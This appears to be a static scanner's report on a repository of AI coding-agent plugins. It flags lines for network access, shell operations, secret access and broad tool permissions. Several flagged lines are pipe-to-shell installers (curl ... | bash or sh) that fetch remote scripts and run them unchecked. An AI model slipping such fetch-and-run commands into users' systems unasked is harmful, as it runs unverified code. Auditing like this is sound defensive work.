{ url = "https://files.pythonhosted.org/packages/1f/01/e18aff37cb0b4aac47ac90f016d347a49aca667ef97f190b06ac2aabc928/pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d4749 - Network accessline 236
{ url = "https://files.pythonhosted.org/packages/f7/62/de5bdd77d935331f4f802edc11e4d82950f642caad6cb2f949837b8560e2/pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e063 - Network accessline 237
{ url = "https://files.pythonhosted.org/packages/70/4d/105627a13300c5e0df1d174230b32fd1273062c96f7745fd552b945d1e1d/pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566 - Network accessline 238
{ url = "https://files.pythonhosted.org/packages/6b/1d/f13de01a553988ab895ba1c722e06cf3144d4f57656fd5b81b6d881f1179/pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f - Network accessline 239
{ url = "https://files.pythonhosted.org/packages/c9/f9/066794cca041b969964f779ee5fa66a9498bbf34248ac39c5d7954e4198f/pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f", size - Network accessline 240
{ url = "https://files.pythonhosted.org/packages/a6/9b/7a58e61d62be561da3a356fe2384d4059a6345fc130e23ef1c36a5b81d24/pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8", - Network accessline 241
{ url = "https://files.pythonhosted.org/packages/aa/b0/c4ed4f0ef8f8fa5ee8351537db6650bb8189f7e118842978dd6589065692/pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b", - Network accessline 242
{ url = "https://files.pythonhosted.org/packages/dc/01/001f65b68192f0228cc1dbbc8d2530ab5d58b61037ba0587f946fea607cd/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b8 - Network accessline 243
{ url = "https://files.pythonhosted.org/packages/1a/d2/0219746d0fd16fc8a84498e79452375be3797d3ce4044596ce565164b84f/pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c1 - Network accessline 244
{ url = "https://files.pythonhosted.org/packages/c8/02/8d0bc62ef0302318c46ff2a512822d2610e81c7aa46c9b3abe6cbaca5ad0/pillow-12.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90 - Network accessline 245
{ url = "https://files.pythonhosted.org/packages/85/e2/73c77d218410b14f5f2d565e8a998d5317b7b9c75368d29985139f7a46f0/pillow-12.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc - Network accessline 246
{ url = "https://files.pythonhosted.org/packages/c7/da/32c752228ae345f489e3a42499d817b6c3996da7e8a3bc7a04fc806b243b/pillow-12.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56dd - Network accessline 247
{ url = "https://files.pythonhosted.org/packages/b1/9d/8b2c807dbef61a5197c047afe99823787eb66f63daf9fb2432f91d6f0462/pillow-12.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9aeb04d6aef139de265b29683e119b - Network accessline 248
{ url = "https://files.pythonhosted.org/packages/5c/44/c85361f65dbe00eea8576ee467c768d25129989efb76e94f205e9ca9bb46/pillow-12.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:251bf95b67017e27b13d82f5b326234ca - Network accessline 249
{ url = "https://files.pythonhosted.org/packages/18/7e/e483414b35800b86b6f08dbbc7803fb5cd52c4d6f897f47d53ea2c7e6f65/pillow-12.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f7 - Network accessline 250
{ url = "https://files.pythonhosted.org/packages/f0/f4/68c491844841ede6bed70189546b3ee9731cf9f2cbad396faff5e1ccba45/pillow-12.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf - Network accessline 251
{ url = "https://files.pythonhosted.org/packages/a3/34/77f3f793fed8efc7d243f21b33c5a3f0d1c97ee70346d3db855587e155ff/pillow-12.3.0-cp314-cp314-win32.whl", hash = "sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a", size - Network accessline 252
{ url = "https://files.pythonhosted.org/packages/f1/e0/492879f69d94f91f60fc8cd05ba03650e9520afebb2fb7aa12777d7c7f38/pillow-12.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d", - Network accessline 253
{ url = "https://files.pythonhosted.org/packages/c9/ac/6b11f2875f1c2ac040d84e1bbf9cf22a88038f901ca1037898b280b38365/pillow-12.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838", - Network accessline 254
{ url = "https://files.pythonhosted.org/packages/52/69/c2208e56af9bfc1913afb24020297a691eb1d4ef688474c8a04913f65e04/pillow-12.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1b - Network accessline 255
{ url = "https://files.pythonhosted.org/packages/07/70/e5686d753e898a45d778ff1718dba8516ead6ab6b95d85fc8c4b70650cf2/pillow-12.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700f - Network accessline 256
{ url = "https://files.pythonhosted.org/packages/d5/37/25c6692f06927ee973ff18c8d9ee98ad0b4d84ee67a09610c2dd1447958e/pillow-12.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3edce1d53195db527e0191f84b71d0 - Network accessline 257
{ url = "https://files.pythonhosted.org/packages/cc/91/420637fcb8f1bc11029e403b4538e6694744428d8246118e45719f944556/pillow-12.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf16ba1b4d0b6b7c8e534936632270cf - Network accessline 258
{ url = "https://files.pythonhosted.org/packages/10/08/b94d7811281ccf0d143a1cf768d1c49e1e54af63e7b708ab2ee3eb87face/pillow-12.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d6238 - Network accessline 259
{ url = "https://files.pythonhosted.org/packages/d2/87/24233f785f55474dc02ce3e739c5528a77e3a862e9333d1dd7a25cc31f70/pillow-12.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c93717 - Network accessline 260
{ url = "https://files.pythonhosted.org/packages/23/26/fcb2f6e37175b04f53570b59937867e2b80ee1685e744023153028fc14f9/pillow-12.3.0-cp314-cp314t-win32.whl", hash = "sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7", siz - Network accessline 261
{ url = "https://files.pythonhosted.org/packages/90/de/3634abee5f1c9e13c56787b7d5517b0ba8d6de51700b95578cf338349c9f/pillow-12.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c", - Network accessline 262
{ url = "https://files.pythonhosted.org/packages/ce/2a/fd13f8eb24de5714a6eb444a3d67e2842c6c576e159a43793adf23051351/pillow-12.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45", - Network accessline 263
{ url = "https://files.pythonhosted.org/packages/5d/dc/8fdce34ec725a33c81c6ba122b904d6b9024e50ea9ac7bede62fab54506c/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f59 - Network accessline 264
{ url = "https://files.pythonhosted.org/packages/76/66/2044b9a63d3b84ff048228dfcb7cd9bf0df983e8470971bf7d4c57b693de/pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:9e881fca225083806662a5c43d627d215f258ff43c890f - Network accessline 265
{ url = "https://files.pythonhosted.org/packages/52/7e/1f67e6f4ece6b582ee4b539decbcc9f848dc245a93ed8cd7338bafef72f1/pillow-12.3.0-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d - Network accessline 266
{ url = "https://files.pythonhosted.org/packages/12/40/d306fc2c8e4d45d7f175c77edca7063be7b86fe7fe6e68f4353bf71d808c/pillow-12.3.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a - Network accessline 267
{ url = "https://files.pythonhosted.org/packages/dd/44/668fb1437e8ce420f62d6106eb66e44a5971602a4d794615bdf79315d82d/pillow-12.3.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663d - Network accessline 268
{ url = "https://files.pythonhosted.org/packages/0c/08/93fa2e70e30a2d81547e481b6ee2bb9522117221fb1e0ce4b5df70967677/pillow-12.3.0-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:28ce87c5ab450a9dd970b52e5aca5fe - Network accessline 269
{ url = "https://files.pythonhosted.org/packages/f8/6d/043e96ff814fc31a33077e4cba86082167db520c93632afdf2042febbb0c/pillow-12.3.0-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b02afb9b97f65fbca5f31db6a2a3ba21 - Network accessline 270
{ url = "https://files.pythonhosted.org/packages/af/92/ba71d2ee2ac0edf3fa33bd9d5ee9ee080da70b1766f3ca3934f9938ddac9/pillow-12.3.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1 - Network accessline 271
{ url = "https://files.pythonhosted.org/packages/0f/ce/e63064e2122923ff687c8ad792d0d736a7b3920a56a46982e81a7fdd25d6/pillow-12.3.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f - Network accessline 272
{ url = "https://files.pythonhosted.org/packages/54/76/a09cc3ccc8d773a7283d34c38bec1708f9e3cc932093cbc4c5e71ac4060b/pillow-12.3.0-cp315-cp315-win32.whl", hash = "sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827", size - Network accessline 273
{ url = "https://files.pythonhosted.org/packages/3e/03/1846c49ba3b1d5550392a4bbd06d6fb4578e1cd91a803198b5c90f5f7d53/pillow-12.3.0-cp315-cp315-win_amd64.whl", hash = "sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5", - Network accessline 274
{ url = "https://files.pythonhosted.org/packages/fb/bb/89f35dcc79610423f9f195504d7def7f0d1416a711541b42867e25fe3412/pillow-12.3.0-cp315-cp315-win_arm64.whl", hash = "sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658", - Network accessline 275
{ url = "https://files.pythonhosted.org/packages/30/88/707027ba09942dfa2c28759b5c222d769290a41c6d20ea60ec250801941f/pillow-12.3.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8d - Network accessline 276
{ url = "https://files.pythonhosted.org/packages/b0/6d/00352fa25332c2569cd387851f568cc5a4b75a9adbfb37ac4fbce4c02eec/pillow-12.3.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822 - Network accessline 277
{ url = "https://files.pythonhosted.org/packages/13/4f/9e049dfa21af7c22427275720e2490267ba8138120add5c4c574deb69782/pillow-12.3.0-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:446c34dcc4324b084a53b705127dc1 - Network accessline 278
{ url = "https://files.pythonhosted.org/packages/36/16/cf6eeaae8d0fce8dd390a33437cf68c5d5bd73834a2bc6e2f14efda0ab45/pillow-12.3.0-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf1845d02ad822a369a49f2bb9345b16 - Network accessline 279
{ url = "https://files.pythonhosted.org/packages/1e/69/dbf769bdd55f48bf5733cac28edc6364ffaa072ec9ba336266e4fe66be55/pillow-12.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b - Network accessline 280
{ url = "https://files.pythonhosted.org/packages/a0/e1/ffc9cfc2eea0d178da8018e18e959301ad9d6bc9f3edb7181e748a474b97/pillow-12.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b - Network accessline 281
{ url = "https://files.pythonhosted.org/packages/18/f0/a5595c1e8c3ae44b9828cb2f0fa8155e5095ef04d6327b8f61cf44a3df85/pillow-12.3.0-cp315-cp315t-win32.whl", hash = "sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8", siz - Network accessline 282
{ url = "https://files.pythonhosted.org/packages/e4/04/62bcd9f844984c5938d3b05264a61d797a29d3e0812341a8204af70bbdee/pillow-12.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418", - Network accessline 283
{ url = "https://files.pythonhosted.org/packages/3d/68/1f3066acedf37673694a7141381d8f811ae97f30d34413d236abe7d489f1/pillow-12.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59", - Network accessline 284
{ url = "https://files.pythonhosted.org/packages/75/18/2e8b40223153ccbc60df07f9e8928dc0c76202aa4e55ae9f53962b6510d6/pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e - Network accessline 285
{ url = "https://files.pythonhosted.org/packages/46/3e/51fabf59d5ab801ceab709453d3ab6b180083496579549de4c45ced6528a/pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c8 - Network accessline 286
{ url = "https://files.pythonhosted.org/packages/bf/20/22fe9384b7949e25fb1293bcfc84fb82590ff4ea6b37c95b24d26d793d86/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79e - Network accessline 287
{ url = "https://files.pythonhosted.org/packages/08/14/f6ba68107680ffa74b39985f3f30884e41318fbc4250caa423c79b4788bb/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7 - Network accessline 288
{ url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4 - Network accessline 292
name = "pytesseract" version = "0.3.13" source = { registry = "https://pypi.org/simple" } - Network accessline 293
version = "0.3.13" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 294
source = { registry = "https://pypi.org/simple" } - Network accessline 297
{ name = "pillow" }, ] sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74 - Network accessline 298
] sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74867d3baddb5db9", size - Network accessline 299
sdist = { url = "https://files.pythonhosted.org/packages/9f/a6/7d679b83c285974a7cb94d739b461fa7e7a9b17a3abfd7bf6cbc5c2394b0/pytesseract-0.3.13.tar.gz", hash = "sha256:4bf5f880c99406f52a3cfc2633e42d9dc67615e69d8a509d74867d3baddb5db9", size = - Network accessline 300
wheels = [ { url = "https://files.pythonhosted.org/packages/7a/33/8312d7ce74670c9d39a532b2c246a853861120486be9443eebf048043637/pytesseract-0.3.13-py3-none-any.whl", hash = "sha256:7a99c6c2ac598360693d83a416e36e0b33a67638bb9d77fdcac094a3 - Network accessline 301
{ url = "https://files.pythonhosted.org/packages/7a/33/8312d7ce74670c9d39a532b2c246a853861120486be9443eebf048043637/pytesseract-0.3.13-py3-none-any.whl", hash = "sha256:7a99c6c2ac598360693d83a416e36e0b33a67638bb9d77fdcac094a3589d4b34", size
plugins/culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md
- Network accessline 7
**Required:** - `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh` - Dangerous shell operationline 8
- `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh` - Network accessline 8
- `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`
plugins/cvss-scoring/.claude-plugin/plugin.json
plugins/cvss-scoring/skills/cvss-scoring/.calcifier/recipe.py
plugins/cvss-scoring/skills/cvss-scoring/SKILL.md
- Network accessline 10
Produce a CVSS v4.0 vector string from a plain-text vulnerability description, plus a [FIRST.org calculator](https://www.first.org/cvss/calculator/4.0) link with that vector - Network accessline 11
[FIRST.org calculator](https://www.first.org/cvss/calculator/4.0) link with that vector - Network accessline 209
https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Network accessline 247
If the user wants the bare calculator without a vector applied: https://www.first.org/cvss/calculator/4.0 - Network accessline 248
https://www.first.org/cvss/calculator/4.0
plugins/cvss-scoring/skills/cvss-scoring/references/examples.md
- Network accessline 3
Scored examples from the [FIRST.org CVSS v4.0 specification](https://www.first.org/cvss/v4.0/examples). Use these as calibration anchors when scoring new vulnerabilities. Compare your vector against the 2-3 most similar examples before fina
plugins/cvss-scoring/skills/cvss-scoring/references/metrics.md
- Network accessline 3
Complete metric definitions from the [FIRST.org CVSS v4.0 specification](https://www.first.org/cvss/v4.0/specification-document). Use this as a lookup reference when evaluating each metric.
plugins/devcontainer-setup/.claude-plugin/plugin.json
plugins/devcontainer-setup/skills/devcontainer-setup/SKILL.md
plugins/devcontainer-setup/skills/devcontainer-setup/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/devcontainer-setup/skills/devcontainer-setup/references/dockerfile-best-practices.md
- Dangerous shell operationline 35
RUN apt-get update && apt-get install -y --no-install-recommends curl git vim && rm -rf /var/lib/apt/lists/* - Network accessline 35
RUN apt-get update && apt-get install -y --no-install-recommends \ curl \ - Network accessline 36
curl \ - Dangerous shell operationline 39
&& rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 47
- Clean up with `rm -rf /var/lib/apt/lists/*` in the same layer - Dangerous shell operationline 54
RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash - Network accessline 54
RUN set -o pipefail && curl -fsSL https://example.com/install.sh | bash - Network accessline 88
ARG TARGETARCH RUN curl -fsSL "https://example.com/tool-${TARGETARCH}.tar.gz" | tar xz - Network accessline 89
RUN curl -fsSL "https://example.com/tool-${TARGETARCH}.tar.gz" | tar xz - Network accessline 99
- [Docker Build Best Practices](https://docs.docker.com/build/building/best-practices/) - Network accessline 100
- [VS Code Dev Containers Tips](https://code.visualstudio.com/docs/devcontainers/tips-and-tricks)
plugins/devcontainer-setup/skills/devcontainer-setup/resources/.zshrc
plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile
- Executable scriptline 1
Executable file - Dangerous shell operationline 29
dnsutils ipset iptables iproute2 && apt-get clean && rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 33
&& apt-get clean && rm -rf /var/lib/apt/lists/* - Network accessline 36
ARG GIT_DELTA_VERSION=0.18.2 RUN ARCH=$(dpkg --print-architecture) && \ curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && \ - Dangerous shell operationline 37
RUN ARCH=$(dpkg --print-architecture) && curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && dpkg -i /tmp/git-delta.deb && rm / - Network accessline 37
RUN ARCH=$(dpkg --print-architecture) && curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && - Network accessline 38
curl -fsSL "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" -o /tmp/git-delta.deb && \ - Dangerous shell operationline 40
rm /tmp/git-delta.deb - Network accessline 47
RUN ARCH=$(dpkg --print-architecture) && case "${ARCH}" in amd64) FZF_ARCH="linux_amd64" ;; arm64) FZF_ARCH="linux_arm64" ;; *) echo "Unsupported architecture: ${ARCH}" && exit 1 ;; esac && curl -fsSL "https://github - Network accessline 51
*) echo "Unsupported architecture: ${ARCH}" && exit 1 ;; \ esac && \ curl -fsSL "https://github.com/junegunn/fzf/releases/download/v${FZF_VERSION}/fzf-${FZF_VERSION}-${FZF_ARCH}.tar.gz" | tar -xz -C /usr/local/bin - Network accessline 53
curl -fsSL "https://github.com/junegunn/fzf/releases/download/v${FZF_VERSION}/fzf-${FZF_VERSION}-${FZF_ARCH}.tar.gz" | tar -xz -C /usr/local/bin - Dangerous shell operationline 76
RUN curl -fsSL https://claude.ai/install.sh | bash && \ - Network accessline 76
RUN curl -fsSL https://claude.ai/install.sh | bash && \ - Network accessline 91
ARG FNM_VERSION=1.39.0 ENV FNM_DIR="/home/vscode/.fnm" RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \ - Network accessline 92
ENV FNM_DIR="/home/vscode/.fnm" RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \ export PATH="$FNM_DIR:$PATH" && \ - Dangerous shell operationline 93
RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \ - Network accessline 93
RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \ - Dangerous shell operationline 95
eval "$(fnm env)" && \ - Network accessline 100
ARG ZSH_IN_DOCKER_VERSION=1.2.1 RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \ - Dangerous shell operationline 101
RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \ - Network accessline 101
RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \
plugins/devcontainer-setup/skills/devcontainer-setup/resources/devcontainer.json
- Network accessline 1
{ "$schema": "https://raw.githubusercontent.com/devcontainers/spec/main/schemas/devContainer.schema.json", - Network accessline 2
"$schema": "https://raw.githubusercontent.com/devcontainers/spec/main/schemas/devContainer.schema.json", - Access to secretsline 68
[Credential-related source omitted]
plugins/devcontainer-setup/skills/devcontainer-setup/resources/install.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 138
rm -f "$temp_file" - Dangerous shell operationline 220
rm -f "$preserved_mounts" - Dangerous shell operationline 446
# docker exec (works on stopped containers too). - Dangerous shell operationline 493
rm -rf "$tmpdir" - Dangerous shell operationline 502
rm -rf "$tmpdir" - Access to secretsline 522
[Credential-related source omitted] - Access to secretsline 539
[Credential-related source omitted] - Dangerous shell operationline 566
rm -rf "$tmpdir" - Dangerous shell operationline 727
docker rm -f "$CONTAINER_ID" >/dev/null 2>&1 || true - Dangerous shell operationline 732
docker volume rm -f "$vol" >/dev/null 2>&1 || true - Network accessline 769
if ! git -C "$SCRIPT_DIR" rev-parse --is-inside-work-tree &>/dev/null; then log_error "Not a git repository: $SCRIPT_DIR" log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code - Network accessline 770
log_error "Not a git repository: $SCRIPT_DIR" log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer" exit 1 - Dangerous shell operationline 771
log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer" - Network accessline 771
log_info "Re-clone with: rm -rf ~/.claude-devcontainer && git clone https://github.com/trailofbits/claude-code-devcontainer ~/.claude-devcontainer"
plugins/devcontainer-setup/skills/devcontainer-setup/resources/post_install.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 28
Workaround for https://github.com/anthropics/claude-code/issues/8938. - Access to secretsline 30
[Credential-related source omitted] - Network accessline 39
# `claude` unexpectedly looks for `.claude.json` in *that* folder, # instead of in `~`, contradicting the documentation. # See https://github.com/anthropics/claude-code/issues/3833#issuecomment-3694918874 - Network accessline 41
# See https://github.com/anthropics/claude-code/issues/3833#issuecomment-3694918874 - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Dangerous shell operationline 176
# Use sudo to fix ownership if needed - Dangerous shell operationline 178
if stat_info.st_uid != uid: subprocess.run( ["sudo", "chown", "-R", f"{uid}:{gid}", str(dir_path)], - Dangerous shell operationline 179
subprocess.run( ["sudo", "chown", "-R", f"{uid}:{gid}", str(dir_path)], check=True,
plugins/differential-review/.claude-plugin/plugin.json
plugins/differential-review/skills/differential-review/SKILL.md
- Broad permissionsline 1
Read Write Grep Glob Bash
plugins/differential-review/skills/differential-review/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/dimensional-analysis/.claude-plugin/plugin.json
- Network accessline 6
"name": "Coriolan Pinhas & Benjamin Samuels", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 7
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" } - Network accessline 8
"url": "https://github.com/trailofbits"
plugins/dimensional-analysis/skills/dimensional-analysis/.calcifier/recipe.py
- Executable scriptline 1
Executable file
plugins/dimensional-analysis/skills/dimensional-analysis/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/dwarf-expert/.claude-plugin/plugin.json
plugins/dwarf-expert/skills/dwarf-expert/SKILL.md
- Broad permissionsline 1
Read Write Edit Bash Grep Glob WebSearch WebFetch
plugins/dwarf-expert/skills/dwarf-expert/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
